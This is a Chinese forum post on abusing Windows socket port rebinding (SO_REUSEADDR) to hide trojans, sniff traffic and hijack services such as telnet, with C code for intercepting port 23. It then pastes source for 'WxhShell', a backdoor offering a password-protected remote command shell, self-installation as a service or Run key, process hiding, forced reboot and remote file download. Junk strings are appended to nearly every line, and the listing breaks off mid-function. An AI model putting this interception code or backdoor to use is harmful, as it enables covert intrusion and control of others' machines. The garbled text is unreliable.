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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: g[jZ A[[  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); =|%T E   
.am*d|&+G  
  saddr.sin_family = AF_INET; ~=mM/@HD  
feW9 >f;  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); p,8Z{mLn  
VT7NWT J,  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); a !K;8#xc  
\-0`%k"&  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 rw2|1_AF  
DS2$w9!  
  这意味着什么?意味着可以进行如下的攻击: L>b,}w  
"y0 A<-~  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 9.=#4OH/  
8W>l(w9M  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) (B-9M)  
5w1[KO#K|  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 X8x>oV;8  
~\G3 l,4  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  sD3|Qj;  
xH[yIfHkG@  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 __iyBaX  
\^4$}@*]  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 (FYJ^o  
<Y2!c,"  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 fLoVcl  
<6~;-ZQY  
  #include \pGO}{3 e*  
  #include Z5[:Zf?h7J  
  #include LeyDs>! 0  
  #include    8Q -F  
  DWORD WINAPI ClientThread(LPVOID lpParam);   U9 *2< c  
  int main() Oha g%<1#  
  { N=wy)+  
  WORD wVersionRequested; y}HC\A77uD  
  DWORD ret; n5/Tn7hY  
  WSADATA wsaData; ?|GxVOl  
  BOOL val; Dg+d=I?  
  SOCKADDR_IN saddr; J"%}t\Q  
  SOCKADDR_IN scaddr; T_[\(K`w!  
  int err; oLMi vy4  
  SOCKET s; & }}WP:U  
  SOCKET sc; lh_zZ!)g  
  int caddsize; I7^X;Q F  
  HANDLE mt; k& s7 -yY  
  DWORD tid;   +yH~G9u(  
  wVersionRequested = MAKEWORD( 2, 2 ); )>5k'1  
  err = WSAStartup( wVersionRequested, &wsaData ); vqi$}=%n?W  
  if ( err != 0 ) { X2YOD2<v  
  printf("error!WSAStartup failed!\n"); )"uG*}\?b  
  return -1; <,4(3 >js  
  } ha! "BR  
  saddr.sin_family = AF_INET; 9 /(c cj  
   D#1~]d  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 S5KYZ W  
_l=  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); UiZp -Y%ki  
  saddr.sin_port = htons(23); i(iP}: 3  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Ef!p:HBJ  
  { gdE`UZ\  
  printf("error!socket failed!\n"); ; S ` -9}6  
  return -1; p30&JJ!~"  
  } /t)c fFM  
  val = TRUE; GTe:k  
  //SO_REUSEADDR选项就是可以实现端口重绑定的  ca*[n~np  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) yGG B  
  { p3FnYz-V  
  printf("error!setsockopt failed!\n"); (<ZkmIXN  
  return -1; 1DtMY|wP  
  } .r5oN+?e  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; xevP2pYG:  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 /8t+d.r;/  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 l )*,18n  
cievC,3*  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) CN~NyJL H  
  { 1 3 `0d  
  ret=GetLastError(); e)dWa'2<  
  printf("error!bind failed!\n"); D8AIV K]  
  return -1; tlLn  
  } )z235}P  
  listen(s,2); {a8^6dm*E  
  while(1) DE\bYxJ  
  { uE#,c\[8  
  caddsize = sizeof(scaddr); g+ 1=5g  
  //接受连接请求 /:{_|P\  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ~uR6z//%  
  if(sc!=INVALID_SOCKET) n,a5LR  
  { EvqAi/(g  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); |EV\a[  
  if(mt==NULL) !FO^:V<|5  
  { #lshN,CPm  
  printf("Thread Creat Failed!\n"); O& %"F8B  
  break; pNE\@U|4E  
  } x36#x  
  } "E)++\JL  
  CloseHandle(mt); AYA&&b  
  } (S)E|;f%C  
  closesocket(s); A :bPIXb  
  WSACleanup(); EH*ym#Y  
  return 0; zB6u-4^wT  
  }   ~/jxB)t  
  DWORD WINAPI ClientThread(LPVOID lpParam) \y H3Y  
  {  /E{dM2  
  SOCKET ss = (SOCKET)lpParam; -N7L #a  
  SOCKET sc; 3R%UPT0>  
  unsigned char buf[4096]; "G9'm  
  SOCKADDR_IN saddr;  ;[KriW  
  long num; `o8{qU,*]N  
  DWORD val; q X%vRf0  
  DWORD ret; n~)HfY  
  //如果是隐藏端口应用的话,可以在此处加一些判断 !\#Wk0Ku  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   %:w% o$  
  saddr.sin_family = AF_INET; yvoo M'R  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); "vOfAo]`  
  saddr.sin_port = htons(23); `,Y[Z  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Zp(=[n5  
  { ke9QT#~p!-  
  printf("error!socket failed!\n"); Fb|e]?w  
  return -1; grCO-S|j^  
  } (!VMnLlXRK  
  val = 100; xa{<R+LR  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Xm8Z+}i  
  { I51oG:6fR?  
  ret = GetLastError(); J(EaE2  
  return -1; X(y  
  } \%Ah^U)gS  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ?wLdW1&PpX  
  { _D>as\dP  
  ret = GetLastError(); 88#qu.  
  return -1; hk@`N;dn  
  } ?H[5O+P[  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 8{G?92 {rN  
  { Q\27\2  
  printf("error!socket connect failed!\n"); C^/ -lc  
  closesocket(sc); lbB.*oQ  
  closesocket(ss); %]chL.s  
  return -1; m +Q5vkW  
  } Cv>yAt.3  
  while(1) 3_L1Wm  
  { %[Zqr;~l  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ^)OZ`u8  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 r}oURy,5  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 29Z!p2{hk  
  num = recv(ss,buf,4096,0); T,WKo B  
  if(num>0) MjQ[^%lfL  
  send(sc,buf,num,0); N4a`8dS|  
  else if(num==0) Z#4JA/c!  
  break; coF T2Pq  
  num = recv(sc,buf,4096,0); % QPWw~}:  
  if(num>0) BEXQTM3])I  
  send(ss,buf,num,0); `!nJS|  
  else if(num==0) 9U|<q  
  break; y8w0eq94  
  } Bn~\HW\Lh  
  closesocket(ss);  's>#8;X  
  closesocket(sc); DHm[8 Qp  
  return 0 ; QGH h;  
  } 3tT|9Tb@  
cQ(}^KO  
-XBKOybHBO  
========================================================== |;A9A's  
(]3ERPn#y  
下边附上一个代码,,WXhSHELL Hs"% S  
NqJ<!q)  
========================================================== W!/vm  
L289'Gzg  
#include "stdafx.h" U@.u-)oX  
;RWW+x8IB  
#include <stdio.h> 1mJbQ#5  
#include <string.h> tS\=<T  
#include <windows.h> ZjU=~)O}H  
#include <winsock2.h> GA|/7[I}  
#include <winsvc.h> wv, GBZ-f  
#include <urlmon.h> /x  
bKk CW  
#pragma comment (lib, "Ws2_32.lib") \npz .g^c_  
#pragma comment (lib, "urlmon.lib") W\it+/  
;".z[l*  
#define MAX_USER   100 // 最大客户端连接数 F2IC$:e M  
#define BUF_SOCK   200 // sock buffer 8yE!7$Mj  
#define KEY_BUFF   255 // 输入 buffer 9?uqQ  
:O9P(X*  
#define REBOOT     0   // 重启 koOyZ>  
#define SHUTDOWN   1   // 关机 jrm0@K+<IA  
H<`^w)?  
#define DEF_PORT   5000 // 监听端口 V~OUE]]Q  
2?GXkPF2;A  
#define REG_LEN     16   // 注册表键长度 O6y @G .+  
#define SVC_LEN     80   // NT服务名长度 sS, zzx<  
C _8j:Z&  
// 从dll定义API .aNO( /kO  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); <fNGhmL  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); r_Lu~y|  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); luW <V>  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); h ZoC _\  
(E!%v`_0  
// wxhshell配置信息 |/@0~O(6  
struct WSCFG { xME(B@j  
  int ws_port;         // 监听端口 mR"uhm}q  
  char ws_passstr[REG_LEN]; // 口令 {bN Y  
  int ws_autoins;       // 安装标记, 1=yes 0=no o;3j:# 3 |  
  char ws_regname[REG_LEN]; // 注册表键名 -NAmu97V}  
  char ws_svcname[REG_LEN]; // 服务名 ;K3d' U  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 <O;&qT*b  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 }dy9I H  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 A?e,U,  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 7egq4gN]2Y  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" GGCqtA^@7d  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 KzV.+f  
FyCBN tCv  
}; YVoao#!  
[ L  
// default Wxhshell configuration ytEQ`  
struct WSCFG wscfg={DEF_PORT, Iq+2mQi*/k  
    "xuhuanlingzhe", >f>V5L%1  
    1, StEQ -k  
    "Wxhshell", !?jK1{E3  
    "Wxhshell", 21U&Ww  
            "WxhShell Service", >yX/+p_  
    "Wrsky Windows CmdShell Service", $u:<x  
    "Please Input Your Password: ", $nj\\,(g  
  1, Tj=gRQ2v  
  "http://www.wrsky.com/wxhshell.exe", (I[s3EnhS  
  "Wxhshell.exe" > 84e`aGE  
    }; 4 bn t=5]  
W/sY#"  
// 消息定义模块 RF:04d  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; @9aGz6k+  
char *msg_ws_prompt="\n\r? for help\n\r#>"; h{I`7X  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; gt'*B5F(  
char *msg_ws_ext="\n\rExit."; 47KNT7C  
char *msg_ws_end="\n\rQuit."; nh<Z1tMU  
char *msg_ws_boot="\n\rReboot..."; GSP?X$E  
char *msg_ws_poff="\n\rShutdown..."; YNI;h%w  
char *msg_ws_down="\n\rSave to "; SgiDh dE  
C#0brCQq3  
char *msg_ws_err="\n\rErr!"; (i\)|c/a7  
char *msg_ws_ok="\n\rOK!"; [O\9 9>  
"9w}dQ  
char ExeFile[MAX_PATH]; fTcY"A,2  
int nUser = 0; -OWZ6#v(  
HANDLE handles[MAX_USER]; #*^e,FF<  
int OsIsNt; 4h;4!I|  
+s ULo  
SERVICE_STATUS       serviceStatus; #G[t X6gU  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; )AI?x@  
40u7fojg2  
// 函数声明 !~)90Z!  
int Install(void); u\f3qc,]F  
int Uninstall(void); B_hPcmB  
int DownloadFile(char *sURL, SOCKET wsh); mg`j[<wp  
int Boot(int flag); tU{\ev$x  
void HideProc(void); 8fh4%#,C%  
int GetOsVer(void); 5Dd:r{{ Q  
int Wxhshell(SOCKET wsl); "CBRPp  
void TalkWithClient(void *cs); TKo<~?  
int CmdShell(SOCKET sock); 1eHe~p ,  
int StartFromService(void); +Juh:1H  
int StartWxhshell(LPSTR lpCmdLine); 6|5H=*)DH  
`^x9(i/NE  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); H'Nq#K  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); -G-3q6A  
tF^g<)S;t  
// 数据结构和表定义 eQ;Q4  
SERVICE_TABLE_ENTRY DispatchTable[] = \%TyrY+`K  
{ <[ZI.+_Wt  
{wscfg.ws_svcname, NTServiceMain}, =G4u#t)  
{NULL, NULL} *1$    
}; P_&p=${  
~@D/A/|  
// 自我安装 A @2Bs 5F  
int Install(void) 5rloK"  
{ RJhK$\  
  char svExeFile[MAX_PATH]; ?`H[u7*%  
  HKEY key; P#MK  
  strcpy(svExeFile,ExeFile); et` 0Je  
QD$Gw-U-l=  
// 如果是win9x系统,修改注册表设为自启动 )S*1C@  
if(!OsIsNt) { <: :VCA%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { f!x[ln<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); m'bi\1Q  
  RegCloseKey(key); *C7F2o  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { R 5(F)abi  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); '#q4Bc1  
  RegCloseKey(key); bY)#v?  
  return 0; 45<y{8  
    } DkdL#sV  
  } Ys3uPs  
} 35_)3 R)  
else { s6n`?,vw  
bq NP#C  
// 如果是NT以上系统,安装为系统服务 ,EI:gLH  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); #K4*6LI  
if (schSCManager!=0) e)b%`ntF  
{ gi$XB}L+X  
  SC_HANDLE schService = CreateService Ac`;st%l.  
  ( {$33B'wk  
  schSCManager, ^_W40/c3  
  wscfg.ws_svcname, ~KPv7WfG  
  wscfg.ws_svcdisp, 4-^[%&>}  
  SERVICE_ALL_ACCESS, 0[Eb .2I  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ykmv'a$-4  
  SERVICE_AUTO_START, v@n_F  
  SERVICE_ERROR_NORMAL, E oe}l   
  svExeFile, u R:rO^  
  NULL, ! %Ny0JkO  
  NULL, ?aWx(dVQ  
  NULL, :o8MUXH$  
  NULL, '!Wvqs  
  NULL pO]8 dE0  
  ); EI1? GB)b  
  if (schService!=0) o\!qcoE2W  
  { #]Y*0Wzpfn  
  CloseServiceHandle(schService); T$P-<s  
  CloseServiceHandle(schSCManager); 5JSrrpGr  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); x)oRSsv!Tr  
  strcat(svExeFile,wscfg.ws_svcname); :FHA]oec1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Ej"u1F14J  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); B(,:haAr  
  RegCloseKey(key); ue\t,*KYd  
  return 0; |`0n"x7  
    } pW|u P8#  
  } tTuX\;G  
  CloseServiceHandle(schSCManager); =J/FJb  
} [Y/:@t"2y  
} zk}{ dG^M:  
L;/n!k.A  
return 1; K0Tg|9  
} x?sI;kUw8  
,H[SI0];  
// 自我卸载 2*AG7  
int Uninstall(void) eB]R3j{  
{ ahGT4d`)9  
  HKEY key; /XbW<dfl  
c^9tYNn  
if(!OsIsNt) { #ekM"p  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ea9oakF  
  RegDeleteValue(key,wscfg.ws_regname); DNP@A4~  
  RegCloseKey(key); G%{0i20_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { QJBr6   
  RegDeleteValue(key,wscfg.ws_regname); #*^+F?o,(  
  RegCloseKey(key); 5-vo0:hk  
  return 0; "pvH0"Q*  
  } #g9ZX16}  
} |He=LQ }0  
} "rNL `P7  
else { SSA W52xC  
C5 X(U :  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); |.U)ll(c  
if (schSCManager!=0) q.V-LXM  
{ {y-^~Q"z  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); rRb+_]Lg  
  if (schService!=0) eUBrzoCO  
  { ~ ?^/u8  
  if(DeleteService(schService)!=0) { | C+o;  
  CloseServiceHandle(schService); VR0=SE  
  CloseServiceHandle(schSCManager); 1cC1*c0Z  
  return 0; c0rk<V%5+  
  } m9":{JI.w  
  CloseServiceHandle(schService); (f#b7O-Wn  
  } =RsXI&&vh  
  CloseServiceHandle(schSCManager); g0R[xOS|  
} `u_Qa  
} [hh/1[   
/aqEJGG>  
return 1; +%0z`E\?M#  
} bS!\#f%9"  
vjUp *R>h  
// 从指定url下载文件 bGmx7qt#  
int DownloadFile(char *sURL, SOCKET wsh) zm#nV Y`  
{  .\:J~(  
  HRESULT hr;  $xgBKD  
char seps[]= "/"; \'v(Xp6  
char *token; jvwwJ<K  
char *file; D E/:['  
char myURL[MAX_PATH]; E"PcrWB&  
char myFILE[MAX_PATH]; Xm!-~n@-m7  
nJFg^s 1  
strcpy(myURL,sURL); B[o`k]]  
  token=strtok(myURL,seps); kOrl\_!z3  
  while(token!=NULL) !0}\&<8/m  
  { WO*9+\[v  
    file=token; LKF/u` 0dP  
  token=strtok(NULL,seps); sen=0SB/  
  } UKBJ_r  
6lFfS!ZFA  
GetCurrentDirectory(MAX_PATH,myFILE); +OHGn;C  
strcat(myFILE, "\\"); .*/Fucr  
strcat(myFILE, file); nk=$B (h  
  send(wsh,myFILE,strlen(myFILE),0); \2e0|)aF6  
send(wsh,"...",3,0);  zGlZ!t:  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); L}k/9F.5  
  if(hr==S_OK) K_&MoyJJ9f  
return 0; 9S7A!AKE  
else h2q/mi5{  
return 1; >Aq:K^D/3F  
zJN7<sv  
} x3G:(YfO  
+[-i%b3q  
// 系统电源模块 5Fw - d  
int Boot(int flag) }IaA7f  
{ ]uh3R{a/  
  HANDLE hToken; LHYLC>J  
  TOKEN_PRIVILEGES tkp; X$n(-65  
=H`Q~ Xx  
  if(OsIsNt) { ml!5:r>  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); <[~,uR7  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); F5T3E?_  
    tkp.PrivilegeCount = 1; oF&l-DHp  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; g=8un`]7  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); !q"cpL'4  
if(flag==REBOOT) { 42C<1@>zO  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) !cX[-}Q  
  return 0; P:xT0gtt  
} hpbf&S4  
else { PAF8W lg  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 1Y j~fb(  
  return 0; gE7L L=x  
} "&+3#D >  
  } 5FeFN)  
  else { QG gF|c7  
if(flag==REBOOT) { mI1H!  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) p*3; hGp6  
  return 0; Sv[5NZn0&  
} J$ut_N):N  
else { *ZCn8m:-+  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) _2ef LjXQ  
  return 0; $.E6S<(h  
} -G|a*^  
} 'DbMF?<.  
OS-f(qXd+  
return 1; 3`.P'Fh(k  
} 4@  3[  
% ZU/x d  
// win9x进程隐藏模块 VR? ^HA9  
void HideProc(void) 19e8  
{ #s5N[uK^m  
rRFAD{5)  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); olux6RP[B  
  if ( hKernel != NULL ) }?8uH/+ZA  
  { qdD)e$XW,  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); N@T.T=r  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ed!>)Cb  
    FreeLibrary(hKernel); V A^l+Z,d  
  } q OhO qV  
{p<Zbm.  
return; ( )T[$.(  
} G=9d&N  
a:STQk V  
// 获取操作系统版本 |AZW9  
int GetOsVer(void) 2][DZl  
{ &"Ux6mF-"  
  OSVERSIONINFO winfo; :;]Oc  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); P\2M[Gu(Q  
  GetVersionEx(&winfo); #;KsJb)N.  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) $14:(<  
  return 1; LJlZ^kh  
  else aBuoHdg;  
  return 0; V&{MQWy  
} S_(d9GK<  
KFRw67^  
// 客户端句柄模块 (]2H7X:b  
int Wxhshell(SOCKET wsl) PXKJ^fa  
{ <cN~jv-w$  
  SOCKET wsh; m:QG}{<.h  
  struct sockaddr_in client; Pt,ebL~  
  DWORD myID; CB\{!  
z`@^5_  
  while(nUser<MAX_USER) 7E$&2U^Js  
{ iP@6hG`:  
  int nSize=sizeof(client); iPG0o %  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); {}~:&.D  
  if(wsh==INVALID_SOCKET) return 1; uzOYVN$t  
Dh| w^Q  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); BHDML.r }M  
if(handles[nUser]==0) 9=l.T/?sf  
  closesocket(wsh); JAc_kl{4O  
else R[tC^]ai  
  nUser++; l: |D,q  
  } 1%[_`J;>Z  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); X@N$Z{  
U\@A _ B  
  return 0; w*7|dZk{  
} ;U =q-tb  
$m$;v<PSe  
// 关闭 socket vsB*rP=  
void CloseIt(SOCKET wsh) ;i uQ?MR3  
{ /a9 !Cf  
closesocket(wsh); &n2e  
nUser--; EV M7Q>  
ExitThread(0); C]u',9,  
} 9' 1B/{  
E\7m< 'R  
// 客户端请求句柄 %V!iQzL1  
void TalkWithClient(void *cs) AEirj /  
{ "d/s5sP|S  
jR ~DToQ  
  SOCKET wsh=(SOCKET)cs; !v|ISyK  
  char pwd[SVC_LEN]; IE~%=/|  
  char cmd[KEY_BUFF]; F t&+vS  
char chr[1]; >c8GW >\N  
int i,j; |`k .y]9  
< E|s\u  
  while (nUser < MAX_USER) { ]w).8=I  
<z+:j!~  
if(wscfg.ws_passstr) {  %V G/  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); b]Kk2S/  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6(&Y(/  
  //ZeroMemory(pwd,KEY_BUFF); jjs&`Fy,  
      i=0; G`h+l<  
  while(i<SVC_LEN) { 'vV$]/wBF  
x+5p1sv6  
  // 设置超时 o?Nu:&yE  
  fd_set FdRead; +Lm4kA+aE5  
  struct timeval TimeOut; UM%o\BiO  
  FD_ZERO(&FdRead); jF"YTr6  
  FD_SET(wsh,&FdRead); >cMd\%^t  
  TimeOut.tv_sec=8;  P\m7 -  
  TimeOut.tv_usec=0; z$lF)r:Bc  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); CBT>"sYE1  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); |f( ~@Q:  
|k 2"_  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )+y G+  
  pwd=chr[0]; 8;P2A\ X  
  if(chr[0]==0xd || chr[0]==0xa) { i%Z2wP.o  
  pwd=0; ;^u*hZN[Up  
  break; q z&+=d@  
  } u+9<&)X0  
  i++; u^W2UE\  
    } _,AzJ^  
E|EgB33S  
  // 如果是非法用户,关闭 socket  NW9n  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ?8@>6 IXn  
} Ds8 EMtS  
sRHA."A!8  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); n| O [a6G  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); yqOuX>m1c  
e&q?}Ho  
while(1) {  l]!9$  
'(+<UpG_Q}  
  ZeroMemory(cmd,KEY_BUFF); 8y';\(;  
v`[Eb27W.  
      // 自动支持客户端 telnet标准   N^0uit  
  j=0; i8X`HbmN  
  while(j<KEY_BUFF) { ;;s* Ohh  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,8G{]X)  
  cmd[j]=chr[0]; Y(VJbm`  
  if(chr[0]==0xa || chr[0]==0xd) { x|64l`Vp(:  
  cmd[j]=0; vEe NW  
  break; 9.O8/0w7LV  
  } k,Qsk d-N]  
  j++; h~Q)Uy5N(D  
    } >-< 8N-@"n  
R>@uY( >dJ  
  // 下载文件 Vn=qV3OE]  
  if(strstr(cmd,"http://")) { KLQTKMNv  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); pI[ZBoR~  
  if(DownloadFile(cmd,wsh)) \kam cA  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); )U<Y0bZA!  
  else )u ?' ;  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i7[uLdQ  
  } .y5,x\Pq(  
  else { ._:nw=Y0<}  
g&/p*c_  
    switch(cmd[0]) { f3*?MXxb16  
  K!AAGj`  
  // 帮助 7cg*|E@  
  case '?': { -ZOBAG*  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); d^ ZMS~\*  
    break; ^}yg%+  
  } g|<Sfp+;+  
  // 安装 ra '  
  case 'i': { ,hxkk`  
    if(Install()) \[2lvft!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $gle8Z-  
    else n_D8JF  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); VzS&`d.h  
    break; F9q8SA#"  
    } 7\ SUr9[  
  // 卸载 BZK`O/  
  case 'r': { 4pz|1Hw7  
    if(Uninstall()) }A$WO {2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s Wjy6;  
    else ({}(qm  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ewsKH\#  
    break; ]LPQYL  
    } cFd > oDS  
  // 显示 wxhshell 所在路径 i=FQGWAUu  
  case 'p': { `ejUs]SR  
    char svExeFile[MAX_PATH]; Z^KA  
    strcpy(svExeFile,"\n\r"); bBxw#_3A?E  
      strcat(svExeFile,ExeFile); G`=r^$.3WB  
        send(wsh,svExeFile,strlen(svExeFile),0); 9<CG s3\  
    break; "v*8_El  
    } L}{`h  
  // 重启 \Xrw"\")j  
  case 'b': { w*j$uW6{  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); :q##fG 'm/  
    if(Boot(REBOOT)) Jc4L5*Xn/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); cX!Pz.C  
    else { ']6VB,c`  
    closesocket(wsh); JHn*->m  
    ExitThread(0); }]P4-KqI  
    } q!'rz  
    break; 5__+_hO ;3  
    } :HViX:]H  
  // 关机 +~Cy$M CX  
  case 'd': { F r?z"  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); e59dVFug.U  
